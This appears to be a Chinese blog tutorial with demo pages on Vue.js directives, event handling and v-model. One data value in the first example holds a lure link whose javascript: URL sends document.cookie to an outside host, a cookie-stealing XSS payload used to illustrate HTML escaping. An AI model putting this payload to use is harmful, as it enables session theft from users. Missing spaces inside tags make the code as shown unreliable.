vue指令练习

Vue介绍

一 模板语法

1.1 插值

1.1.1 概述

1
2
3
4
5
6
7
8
9
 
1 文本 {{}}
2 纯html
3 表达式

注意：直接把Vue对象赋值给变量，修改变量值，可以直接修改页面内容

	-vm.$data.name

	-vm.name

1.1.2 案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
    {{name}}
    <br>
    {{10}}
    <br>
    {{10+20}}
    <br>
    {{10>20?'大于':'小于'}}
    <br>
    {{myhtml}}
</div>
</body>
<script>
new Vue({
        el:'#box',
        data:{
            name:'lqz',
            myhtml:"<ahref=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>点我看美女</a>",
        }
    })
</script>
</html>

二 指令

2.1 文本相关指令

1
2
3
4
5
 
>1 v-text
>2 v-html
>3 v-show
>4 v-if
>注意:v-show和v-if的区别 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
    <pv-text='msg'>原文本会被替换</p>
    <divv-html="myhtml"></div>
    <divv-show="isShow">显示</div>
    <divv-if="isCreated">显示</div>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            msg: 'lqz',
            myhtml:'<ahref="http://www.baidu.com">点我</a>',
            isShow:true,
            isCreated:true
        }
    })
</script>
</html>

2.2 事件指令

1
2
3
4
5
6
7
8
9
 
<!-- v-on: 指令 简写 @ -->


<!-- 不传参事件绑定，但事件回调方法可以获取事件对象 -->
<p @click="fn"></p>
<!-- ()可以传入具体实参 -->
<p @click="fn()"></p>
<!-- ()情况下，事件对象应该显式传入 -->
<p @click="fn($event)"></p>
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
    <buttonv-on:click="test">点我</button>
    <button @click="test()">点我2</button>
    <button @click="test2($event)">点我3</button>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
        },
        methods:{
            test(){
console.log('test')
            },
            test2(ev){
console.log(ev)
            },
        }
    })
</script>
</html>

2.3 属性指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
    <style>
.redclass{
            background: red;
        }
.yellowclass{
            background: yellow;
        }
</style>
</head>
<body>
<divid="box">
    <!--绑定src    -->
    <imgv-bind:src="mysrc"/>
    <img:src="mysrc"/>

    <!--绑定class-->
    <divv-bind:class="red">111111111</div>
    <button @click="change">点击变色</button>
    <divv-bind:class="isActive?'redclass':'yellowclass'">222222222</div>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            mysrc:"https://pic.maizuo.com/usr/movie/73b25044a8c9756fa41d3a723ee6c2c2.jpg",
            isActive:false,
            red:'redclass',
            yellow:'yellowclass',


        },
        methods: {
            change(){
this.isActive=!this.isActive
            },
        }
    })
</script>
</html>

三 class与style

3.1 class的三种写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
    <style>
.redclass {
            background: red;
        }

.yellowclass {
            background: yellow;
        }
</style>
</head>
<body>
<divid="box">
    <div:class="isActive?'redclass':'yellowclass'">class三目写法</div>
    <p:class="classObj">class对象写法</p>
    <p:class="classarr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            isActive: false,
            classObj: {
                class_a: true,
                class_b: true,
//class_a,class_b是class的名字,
//vm.classObj.class_a=false
//vm.classObj.class_c=true 设置不进去
            },
            classarr:['a','b']
//vm.classarr.pop()
//vm.classarr.push('c')

        },
        methods: {

        }
    })
</script>
</html>

3.2 style的写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
    <style>
.redclass {
            background: red;
        }

.yellowclass {
            background: yellow;
        }
</style>
</head>
<body>
<divid="box">
    <div:style="'background:'+'red'">class三目写法</div>
    <div:style="'background:'+(isActive?'red':'yellow')">class三目写法</div>
    <!--vm.isActive=true-->
    <p:style="styleobj">class对象写法</p>
    <p:style="styleattr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            isActive: false,
            styleobj:{
                background:'yellow',
                fontSize:'30px',
            },
            styleattr:[{background:'red'},],
// styleattr:[]
//vm.styleattr.push({background:'red'})
//vm.styleattr.shift(),pop

        },
        methods: {

        }
    })
</script>
</html>

四 条件渲染

4.1 动态创建删除(v-else)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
    <style>
.redclass {
            background: red;
        }

.yellowclass {
            background: yellow;
        }
</style>
</head>
<body>
<divid="box">
    <button @click="handlediv">动态删除添加</button>
    <divv-if="isActive">我出现了</div>
  	<divv-else>我是else</div>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            isActive: false,

        },
        methods: {
            handlediv() {
this.isActive = !this.isActive
            }
        }
    })
</script>
</html>

五 列表渲染(v-for)

5.1 v-if+v-for控制购物车显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
    <style>
.redclass {
            background: red;
        }

.yellowclass {
            background: yellow;
        }
</style>
</head>
<body>
<divid="box">
    <button @click="add">加入购物车</button>
    <ulv-if="!datalist.length==0">
        <liv-for="data in datalist">{{data}}</li>
    </ul>
    <divv-else>购物车空空如也</div>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            isActive: false,
// datalist:['111','222','3333']
            datalist:[]

        },
        methods: {
            add(){
this.datalist=['111','222','3333']
            },
        }
    })
</script>
</html>

5.2 v-if/v-else-if/v-else

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
    <style>
.redclass {
            background: red;
        }

.yellowclass {
            background: yellow;
        }
</style>
</head>
<body>
<divid="box">
  <divv-if="which==1">1111</div>
  <divv-else-if="which==2">222</div>
  <divv-else>333</div>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            which:1

        },

    })
</script>
</html>

5.3 v-for遍历列表，对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
    <style>
.redclass {
            background: red;
        }

.yellowclass {
            background: yellow;
        }
</style>
</head>
<body>
<divid="box">
    <ul>
        <liv-for="(value,index) in arr">{{value}}---{{index}}</li>
    </ul>
    <hr>
    <ul>
        <liv-for="(value,key) in obj">{{value}}---{{key}}</li>
    </ul>
    <hr>
     <ul>
        <liv-for="(value,key) of obj">{{value}}---{{key}}</li>
    </ul>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            arr: ['11', '22', '33'],
            obj: {name: 'lqz', age: 18, sex: '男'}

        },

    })
</script>
</html>

5.4 key值解释

1
2
3
4
5
6
7
 
<!-- 虚拟dom比对变更优化相关，使用唯一key值，插入一个标签，更改的少
跟踪每个节点身份，从而重新排序现有元素
理想的key值是每项都有且唯一的值，id等
-->
<ul>
    <liv-for="(value,index) in arr":key="index">{{value}}---{{index}}</li>
</ul>

5.5 数组更新与检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 
<!--
1 使用以下方法操作数组，可以检测变动：push，pop，shift，unshift,splice,sort,reverse
2 不会检测变动filter(),concat(),slice(),map()，新数组替换旧数组
	-页面不会更改：vm.arr.concat(['44','55'])
	-解决vm.arr=vm.arr.concat(['44','55'])
3 页面不会更改：通过索引值更新数组
	-解决方案一：
    vm.arr[0]
    "11"
    vm.arr[0]='99'
    "99"
    vm.arr.splice(0,1,'88')
    ["99"]
	-解决方案二
		Vue.set(vm.arr,0,'lqz')

3 上面能更新是因为作者重写了那些方法


-->

六 事件处理

input

change

blur

6.1 input过滤案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
    <style>
.redclass {
            background: red;
        }

.yellowclass {
            background: yellow;
        }
</style>
</head>
<body>
<divid="box">
<!--    <p><input type="text" v-model="mytext" @change="handleChange"></p>-->
<!--    <p><input type="text" v-model="mytext" @blur="handleChange"></p>-->
    <p><inputtype="text"v-model="mytext" @input="handleChange"></p>
    <ul>
        <liv-for="data in newlist">{{data}}</li>
    </ul>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            mytext: '',
            datalist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
            newlist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
        },
        methods: {
            handleChange() {
console.log(this.mytext)
this.newlist=this.datalist.filter(item=>{
return item.indexOf(this.mytext)>-1
                })
            },
        },

    })
var a=['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac']
// var aa=a.filter(function (item) {
//     if(item.indexOf('a')>-1){
//       return true
//     }else {
//         return false
//     }
// })
var aa=a.filter(item=>{
return item.indexOf('a')>-1
    })
</script>
</html>

6.2 简单事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
    <button @click="handleShow">按钮1</button>
    <button @click="handleShow()">按钮2</button>
    <button @click="isShow=!isShow">按钮3</button>
    <divv-show="isShow">显示</div>

</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            isShow:true,
        },
        methods: {
            handleShow() {
this.isShow=!this.isShow
            },
        },

    })
</script>
</html>

6.3 事件修饰符

.stop 阻止事件冒泡

.prevent 阻止a链接跳转

.self 只处理自己的事件，子控件冒泡的事件不处理

.once 只处理一次就解绑(抽奖页面)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
    <button @click="handleShow">按钮1</button>
    <button @click="handleShow()">按钮2</button>
    <button @click="isShow=!isShow">按钮3</button>
    <divv-show="isShow">显示</div>
    <hr>
    <ul @click="handleUl">
        <li @click="handleLi($event)">111</li>
        <li @click.stop="handleLinew">222</li>
        <li @click="handleLi">333</li>
    </ul>
    <br>
    <ahref="http://www.baidu.com" @click="handlea($event)">点击跳转，不拦截</a>
    <ahref="http://www.baidu.com" @click.prevent="handlea">点击拦截</a>

    <ul @click.self="handleUl">
        <li @click="handleLi2">111</li>
        <li @click="handleLi2">222</li>
        <li @click="handleLi2">333</li>
    </ul>
    <button @click.once="test">只执行一次</button>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            isShow: true,
        },
        methods: {
            handleUl() {
console.log('ululul')

            },
            handleLi(ev) {
console.log('lilili')
                ev.stopPropagation()
            },
            handleLi2(){
console.log('safsd')
            },

            handleLinew() {
console.log('lililinew')
            },
            handlea(ev) {
                ev.preventDefault()
console.log('不跳了')
            },
            test(){
console.log('test')
            },
        },

    })
</script>
</html>

6.4 按键修饰符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">

    <inputtype="text" @keyup="handleKeyUp"v-model="mytext">
    <inputtype="text" @keyup.enter="handleKeyUp2"v-model="mytext">
    <!--不是所有的按键都写了，所以可以使用keycode数字-->
    <inputtype="text" @keyup.13="handleKeyUp2"v-model="mytext">
    <ul>
        <liv-for="data in datalist">{{data}}</li>
    </ul>
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            isShow: true,
            mytext:'',
            datalist:[]
        },
        methods: {
            handleKeyUp(ev){
console.log(ev)
                if(ev.keyCode==13){
console.log('回车')
this.datalist.push(this.mytext)
                }
            },
            handleKeyUp2(){
this.datalist.push(this.mytext)
            },
        }

    })
</script>
</html>

七 表单控件绑定/双向数据绑定

7.1 v-model基本使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">

    <inputtype="text"v-model="mytext">
    {{mytext}}
    <br>
    <textareaname=""id=""cols="30"rows="10"v-model="textbig"></textarea>
    {{textbig}}
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            mytext:'',
            textbig:'',
        },

    })
</script>
</html>

7.2 checkbox选中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">

    <inputtype="text"v-model="mytext">
    {{mytext}}
    <br>
    <textareaname=""id=""cols="30"rows="10"v-model="textbig"></textarea>
    {{textbig}}
    <br>
    <inputtype="checkbox"v-model="radio">记住用户名
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            mytext:'',
            textbig:'',
            radio:false,
        },

    })
</script>
</html>

7.3 多选

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
    <br>
    <p>你喜欢的运动</p>
    <inputtype="checkbox"v-model="checkgroup"value="抽烟">抽烟
    <inputtype="checkbox"v-model="checkgroup"value="喝酒">喝酒
    <inputtype="checkbox"v-model="checkgroup"value="烫头">烫头
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            checkgroup:[],
        },

    })
</script>
</html>

7.4 单选

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
    <br>
    <p>你最喜欢的编程语言</p>
    <inputtype="radio"value="Python"v-model="radio">Python
    <inputtype="radio"value="Java"v-model="radio">Java
    <inputtype="radio"value="c++"v-model="radio">C++
    {{radio}}
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            radio:'',
        },

    })
</script>
</html>

7.5 购物车案例

7.5.1 基本购物车

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
 <ul>
     <liv-for="data in datalist">
        <!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
         <inputtype="checkbox":value="data"v-model="checkgroup">
         {{data}}
     </li>
 </ul>
    <!--要加括号，函数返回什么，该位置就写什么-->
    <p>总金额是：{{getsum()}}</p>
    <br>
    {{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            datalist:[
                {name:'特斯拉',price:10,number:1,id:'1'},
                {name:'充气',price:20,number:3,id:'2'},
                {name:'娃娃',price:30,number:2,id:'3'},
            ],
            checkgroup:[],
        },
        methods:{
            getsum(){
var sum=0;
for(var item inthis.checkgroup){
                    sum+=this.checkgroup[item].price*this.checkgroup[item].number
                }
return sum
            },
        }
    })
</script>
</html>

7.5.1 全选，全不选

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
    <inputtype="checkbox" @change="handleChange"v-model="isALl">全选/全不选
 <ul>
     <liv-for="data in datalist">
        <!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
         <inputtype="checkbox":value="data"v-model="checkgroup" @change="handleLi">
         {{data}}
     </li>
 </ul>
    <!--要加括号，函数返回什么，该位置就写什么-->
    <p>总金额是：{{getsum()}}</p>
    <br>
    {{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            datalist:[
                {name:'特斯拉',price:10,number:1,id:'1'},
                {name:'充气',price:20,number:3,id:'2'},
                {name:'娃娃',price:30,number:2,id:'3'},
            ],
            checkgroup:[],
            isALl:false,
        },
        methods:{
            getsum(){
var sum=0;
for(var item inthis.checkgroup){
                    sum+=this.checkgroup[item].price*this.checkgroup[item].number
                }
return sum
            },
            handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
                }else{
this.checkgroup=[]
                }
            },
            handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
                }else{
this.isALl=true
                }
            }
        }
    })
</script>
</html>

7.5.3 控制加减

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
    <inputtype="checkbox" @change="handleChange"v-model="isALl">全选/全不选
 <ul>
     <liv-for="data in datalist">
        <!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
         <inputtype="checkbox":value="data"v-model="checkgroup" @change="handleLi">
         {{data}}
         <button @click="data.number++">+</button>
         {{data.number}}
         <button @click="handleClick(data)">-</button>
     </li>
 </ul>
    <!--要加括号，函数返回什么，该位置就写什么-->
    <p>总金额是：{{getsum()}}</p>
    <br>
    {{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            datalist:[
                {name:'特斯拉',price:10,number:1,id:'1'},
                {name:'充气',price:20,number:3,id:'2'},
                {name:'娃娃',price:30,number:2,id:'3'},
            ],
            checkgroup:[],
            isALl:false,
        },
        methods:{
            getsum(){
var sum=0;
for(var item inthis.checkgroup){
                    sum+=this.checkgroup[item].price*this.checkgroup[item].number
                }
return sum
            },
            handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
                }else{
this.checkgroup=[]
                }
            },
            handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
                }else{
this.isALl=true
                }
            },
            handleClick(data){
                if(data.number==1){
                    data.number=1
                }else{
                    data.number--
                }

            }
        }
    })
</script>
</html>

7.6 v-model之lazy,number,trim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 
<!DOCTYPE html>
<htmllang="en">
<head>
    <metacharset="UTF-8">
    <title>Title</title>
    <scriptsrc="js/vue.js"></script>
</head>
<body>
<divid="box">
    <inputtype="text"v-model.lazy="mytext"> {{mytext}}
    <br>
    <inputtype="text"v-model.number="mytext"> {{mytext}}
    <br>
    <inputtype="text"v-model.trim="mytext"> {{mytext}}
</div>
</body>
<script>
var vm = new Vue({
        el: '#box',
        data: {
            mytext:'',
        },
    })
</script>
</html>
posted @ 2020-12-15 22:11  Οo白麒麟оΟ  阅读(191)  评论(0)  编辑  收藏  举报